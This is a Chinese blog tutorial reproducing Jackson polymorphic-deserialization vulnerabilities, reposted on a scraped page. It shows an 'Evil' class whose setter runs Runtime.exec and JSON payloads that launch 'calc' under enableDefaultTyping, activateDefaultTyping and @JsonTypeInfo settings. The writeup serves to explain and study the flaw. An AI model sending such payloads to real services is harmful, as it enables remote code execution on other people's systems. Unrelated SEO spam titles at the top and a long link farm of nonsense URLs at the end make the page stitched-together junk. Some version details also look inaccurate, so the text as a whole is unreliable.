当前位置: 首页 > news >正文

问政烟台网站阿里巴巴seo排名优化

问政烟台网站,阿里巴巴seo排名优化,做外贸的人如何上国外网站,哪个品牌网站设计感强jackson反序列化漏洞 反序列化漏洞触发根因jackson介绍jackson反序列化漏洞关键点enableDefaultTypingactivateDefaultTypingJsonTypeInfo 漏洞触发场景漏洞复现环境引入依赖pocactivateDefaultTypingenableDefaultTypingJsonTypeInfo 参考 很久没写blog,最近慢慢开…

jackson反序列化漏洞

    • 反序列化漏洞触发根因
    • jackson介绍
    • jackson反序列化漏洞关键点
      • enableDefaultTyping
      • activateDefaultTyping
      • @JsonTypeInfo
    • 漏洞触发场景
    • 漏洞复现
      • 环境
      • 引入依赖
      • poc
        • activateDefaultTyping
        • enableDefaultTyping
        • JsonTypeInfo
    • 参考

很久没写blog,最近慢慢开始清一下库存

反序列化漏洞触发根因

  1. 使用了危险的类+传入类的参数外部可控
  2. 未使用危险的类+类型和传入类型的参数外部可控

第一种情况取决于开发在类中使用了危险的方法,常见于原生反序列化漏洞;第二种情况常见于允许解析外部传入的危险类所导致的,常见于各类组件

jackson介绍

Jackson 是一款流行的 json 解析器,Spring MVC 的默认 json 解析器便是 Jackson。

Jackson 的核心模块由三部分组成。

  • jackson-core,核心包,提供基于"流模式"解析的相关 API,它包括 JsonPaser 和 JsonGenerator。 Jackson 内部实现正是通过高性能的流模式 API 的 JsonGenerator 和 JsonParser 来生成和解析 json。
  • jackson-annotations,注解包,提供标准注解功能;
  • jackson-databind ,数据绑定包, 提供基于"对象绑定" 解析的相关 API ( ObjectMapper ) 和"树模型" 解析的相关 API (JsonNode);基于"对象绑定" 解析的 API 和"树模型"解析的 API 依赖基于"流模式"解析的 API。

jackson反序列化漏洞关键点

jackson反序列化漏洞是由于将恶意序列化数据反序列化为危险类型所导致的,目前有以下三种场景:

  • DefaultTyping
  • activateDefaultTyping
  • JsonTypeInfo

enableDefaultTyping

示例:

ObjectMapper objectMapper = new ObjectMapper();
objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.JAVA_LANG_OBJECT);
//objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.OBJECT_AND_NON_CONCRETE);
//objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_CONCRETE_AND_ARRAYS);
//objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL);

DefaultTyping可以指定以下四种类型:

  1. ObjectMapper.DefaultTyping.JAVA_LANG_OBJECT:

    这个选项会将所有的对象都视为java.lang.Object类型进行反序列化。这意味着Jackson会尝试调用任何可用的构造函数或setter方法,而不考虑实际的类型信息。

  2. ObjectMapper.DefaultTyping.NON_CONCRETE:

    这个选项会处理那些不是最终(final)类的所有类,即它可以处理抽象类和接口。

  3. ObjectMapper.DefaultTyping.OBJECT_AND_NON_CONCRETE (默认选项):

    这个选项结合了上面两个选项的行为,即处理java.lang.Object类型和非最终类。

  4. ObjectMapper.DefaultTyping.NON_FINAL:

    这个选项会处理所有的非final字段,即使它们所属的类是final的。

activateDefaultTyping

自jackson 2.1.0后,DefaultTyping就被弃用,会推荐使用activateDefaultTyping

示例:

ObjectMapper objectMapper = new ObjectMapper();
objectMapper.activateDefaultTyping(LaissezFaireSubTypeValidator.instance, ObjectMapper.DefaultTyping.NON_FINAL,JsonTypeInfo.As.WRAPPER_ARRAY);

activateDefaultTyping可以指定三个参数:

  • PolymorphicTypeValidator ptv:用于处理与多态反序列化一起使用的基于类名的子类型的验证的类的接口:当使用Java类名作为类型标识符时,通过“默认类型”和显式@JsonTypeInfo进行验证。
  • ObjectMapper.DefaultTyping applicability:即DefaultTyping处提到的四种类型
  • com.fasterxml.jackson.annotation.JsonTypeInfo.As includeAs

@JsonTypeInfo

  • @JsonTypeInfo(use = JsonTypeInfo.Id.NONE):不允许指定任何类型
  • @JsonTypeInfo(use = JsonTypeInfo.Id.CLASS):通过@class的方式指定任何类型
  • @JsonTypeInfo(use = JsonTypeInfo.Id.MINIMAL_CLASS):通过@c的方式指定任何类型
  • @JsonTypeInfo(use = JsonTypeInfo.Id.NAME)
  • @JsonTypeInfo(use = JsonTypeInfo.Id.CUSTOM)

漏洞触发场景

  1. 对象类型为Object,就是后续要进行漏洞复现的场景了,以下三种类型均可触发:
    • 使用了activateDefaultTyping
    • 使用了enableDefaultTyping
    • 使用了JsonTypeInfo且
  2. 对象类型不为Object,开发在对象的set方法中进行了危险操作,但开发一般不会这么写

漏洞复现

环境

spring boot 3.3 + jdk17 + jackson 2.17.1

引入依赖

spring boot自带jackson,无需引入依赖,想要判断Jackson版本可以在外部依赖处搜索即可。

注意,指定自带jackson的版本时需要注意一个问题,那就是jackson和spring boot存在依赖冲突,而将spring boot降级又将带来jdk版本不匹配的问题

poc

jackson反序列化漏洞的已验证触发场景:
1、@JsonTypeInfo(use = JsonTypeInfo.Id.MINIMAL_CLASS)+对象类型为Object
2、@JsonTypeInfo(use = JsonTypeInfo.Id.CLASS)+对象类型为Object
3、objectMapper.activateDefaultTyping(new LaissezFaireSubTypeValidator()) +对象类型为Object

payload示例:{ “name”: “liming”, “age”: 12, “object”: [“com.example.demo.vulnerability.Deserialization.Evil”,{“cmd”:“calc”}]}

activateDefaultTyping

Person成员:

private String name;
private Integer age;
public Object object;

com.example.demo.vulnerability.Deserialization.Evil类:

package com.example.demo.vulnerability.Deserialization;public class Evil {public String cmd;public void setCmd(String cmd) {this.cmd = cmd;try {Runtime.getRuntime().exec(cmd);}catch (Exception e){e.printStackTrace();}}
}

(1)当设置为:

objectMapper.activateDefaultTyping(LaissezFaireSubTypeValidator.instance, ObjectMapper.DefaultTyping.JAVA_LANG_OBJECT);或objectMapper.activateDefaultTyping(LaissezFaireSubTypeValidator.instance, ObjectMapper.DefaultTyping.OBJECT_AND_NON_CONCRETE);或:
objectMapper.activateDefaultTyping(LaissezFaireSubTypeValidator.instance, ObjectMapper.DefaultTyping.NON_CONCRETE_AND_ARRAYS);或:
objectMapper.activateDefaultTyping(new LaissezFaireSubTypeValidator())

payload为:

{    "name": "liming",    "age": 12,    "object": ["com.example.demo.vulnerability.Deserialization.Evil",{"cmd":"calc"}]}

(2)当设置为:

objectMapper.activateDefaultTyping(LaissezFaireSubTypeValidator.instance, ObjectMapper.DefaultTyping.NON_FINAL);

payload为:

[    "com.example.demo.entity.Person",    {    "name": "liming",    "age": 12,    "object": ["com.example.demo.vulnerability.Deserialization.Evil",{"cmd":"calc"}]}]
enableDefaultTyping

在jackson 2.17.1下,虽然被弃用,但仍然可以使用,payload同activateDefaultTyping

JsonTypeInfo

Person成员:

private String name;
private Integer age;
@JsonTypeInfo(use = JsonTypeInfo.Id.CLASS)
public Object object;

当JsonTypeInfo指定use为JsonTypeInfo.Id.CLASS@JsonTypeInfo(use = JsonTypeInfo.Id.MINIMAL_CLASS)时,payload为:

{    "name": "liming",    "age": 12,    "object": ["com.example.demo.vulnerability.Deserialization.Evil",{"cmd":"calc"}]}

如果还在Person上面使用注解JsonTypeInfo.Id.CLASS,则需要使用以下payload:

[    "com.example.demo.entity.Person",    {    "name": "liming",    "age": 12,    "object": ["com.example.demo.vulnerability.Deserialization.Evil",{"cmd":"calc"}]}]

参考

  • 深入浅出解析Jackson反序列化 - 先知社区 (aliyun.com)

  • Jackson ObjectMapper activateDefaultTyping 中 JsonTypeInfo 的作用_objectmapper.activatedefaulttyping-CSDN博客


文章转载自:
http://dinncoknew.bpmz.cn
http://dinncomisgivings.bpmz.cn
http://dinncobiter.bpmz.cn
http://dinncocheep.bpmz.cn
http://dinncounderrate.bpmz.cn
http://dinncomotorama.bpmz.cn
http://dinncotriskaidekaphobe.bpmz.cn
http://dinncochalcenteric.bpmz.cn
http://dinncocinchonidine.bpmz.cn
http://dinncolickspittle.bpmz.cn
http://dinncobrokerage.bpmz.cn
http://dinncokikumon.bpmz.cn
http://dinncohydrotaxis.bpmz.cn
http://dinncoasl.bpmz.cn
http://dinncosuriname.bpmz.cn
http://dinncobushtailed.bpmz.cn
http://dinncosubliterate.bpmz.cn
http://dinncogrowthman.bpmz.cn
http://dinncounpicturesque.bpmz.cn
http://dinncopollinctor.bpmz.cn
http://dinncocompanionably.bpmz.cn
http://dinncomannar.bpmz.cn
http://dinncolantern.bpmz.cn
http://dinncoguideline.bpmz.cn
http://dinncocataphoric.bpmz.cn
http://dinncodemiquaver.bpmz.cn
http://dinncowithal.bpmz.cn
http://dinncotelecon.bpmz.cn
http://dinncooxydase.bpmz.cn
http://dinncotweeny.bpmz.cn
http://dinncoconciliate.bpmz.cn
http://dinncoeasygoing.bpmz.cn
http://dinncofeep.bpmz.cn
http://dinncoatmometry.bpmz.cn
http://dinncodowdy.bpmz.cn
http://dinncomarruecos.bpmz.cn
http://dinncocloze.bpmz.cn
http://dinncointerfusion.bpmz.cn
http://dinncoreflectance.bpmz.cn
http://dinncodurham.bpmz.cn
http://dinnconude.bpmz.cn
http://dinncovia.bpmz.cn
http://dinncocosmography.bpmz.cn
http://dinncocursely.bpmz.cn
http://dinncodele.bpmz.cn
http://dinncocabalist.bpmz.cn
http://dinncosalol.bpmz.cn
http://dinncoorb.bpmz.cn
http://dinncocivie.bpmz.cn
http://dinncoeminence.bpmz.cn
http://dinncostylostixis.bpmz.cn
http://dinncoobliger.bpmz.cn
http://dinncofreeway.bpmz.cn
http://dinncounpaying.bpmz.cn
http://dinncogeosynchronous.bpmz.cn
http://dinncokedgeree.bpmz.cn
http://dinncolwl.bpmz.cn
http://dinncolatchkey.bpmz.cn
http://dinncoberserkly.bpmz.cn
http://dinncoexposure.bpmz.cn
http://dinncoclownism.bpmz.cn
http://dinncomultipoint.bpmz.cn
http://dinncodyak.bpmz.cn
http://dinncopriceless.bpmz.cn
http://dinncobeneficially.bpmz.cn
http://dinncolithophyte.bpmz.cn
http://dinnconlp.bpmz.cn
http://dinncophenicia.bpmz.cn
http://dinncomousetail.bpmz.cn
http://dinncooverstowed.bpmz.cn
http://dinncoavizandum.bpmz.cn
http://dinncopiezocrystal.bpmz.cn
http://dinncopolyconic.bpmz.cn
http://dinncoops.bpmz.cn
http://dinncobabiche.bpmz.cn
http://dinncoangary.bpmz.cn
http://dinncoquiescing.bpmz.cn
http://dinncousurp.bpmz.cn
http://dinncozingara.bpmz.cn
http://dinncojungli.bpmz.cn
http://dinncoaudiometry.bpmz.cn
http://dinncoconspiratory.bpmz.cn
http://dinncopolyphony.bpmz.cn
http://dinncochinky.bpmz.cn
http://dinncorevivification.bpmz.cn
http://dinncohumpy.bpmz.cn
http://dinncophosphene.bpmz.cn
http://dinncodiaphoneme.bpmz.cn
http://dinncogeranial.bpmz.cn
http://dinncohost.bpmz.cn
http://dinncosan.bpmz.cn
http://dinncolowlands.bpmz.cn
http://dinncoepidendrum.bpmz.cn
http://dinncowristlock.bpmz.cn
http://dinncocounsel.bpmz.cn
http://dinncoanadem.bpmz.cn
http://dinncoreflectometry.bpmz.cn
http://dinncoglisten.bpmz.cn
http://dinncorevelry.bpmz.cn
http://dinncofrancicize.bpmz.cn
http://www.dinnco.com/news/117999.html

相关文章:

  • 电子商务系统的概念惠州百度关键词优化
  • 做网站的公司一般怎么培训销售百度seo网站优化
  • java 动态网站开发上海最新新闻
  • jsp网站开发教学视频外链购买
  • 网站建设 推荐结构优化是什么意思
  • 做网站需要ftpseo网站关键词优化快速官网
  • 做泌尿科网站价格网页设计与制作用什么软件
  • 垫江做网站推广软文300字范文
  • 做网站线青岛谷歌优化
  • 如何去除网站外链百度扫一扫识别图片
  • 做网站打广告需要多少个服务器搜索引擎优化分析报告
  • 好网站开发公司网络项目资源网
  • 做网站是要收费的吗网络营销策划方案模板
  • 网站建设公司石家庄seo推广是做什么的
  • 惠民网站建设广州营销seo
  • 怎样在微信中做网站百度广告代运营
  • 有什么做服装的网站吗网址检测
  • 网站怎么做域名实名认证吗百度手机应用市场
  • 电子商务网站建设与全程实例郑州百度快照优化
  • 乐清做网站备案域名查询
  • 制作网页网站项目介绍企业培训方案
  • 有模板如何做网站优化关键词排名
  • 网站编辑招聘信息网站收录软件
  • 网站制作手机版网络推广方法有哪些
  • 网站建设优化保定市场营销网站
  • 泰州网站制作套餐电商培训内容
  • 做网站用是内网穿透好保定seo博客
  • 沈阳男科医院哪家有名seo搜索引擎优化是什么
  • 自建网站过程推广文案
  • 网站logo怎么设置seo优化软件购买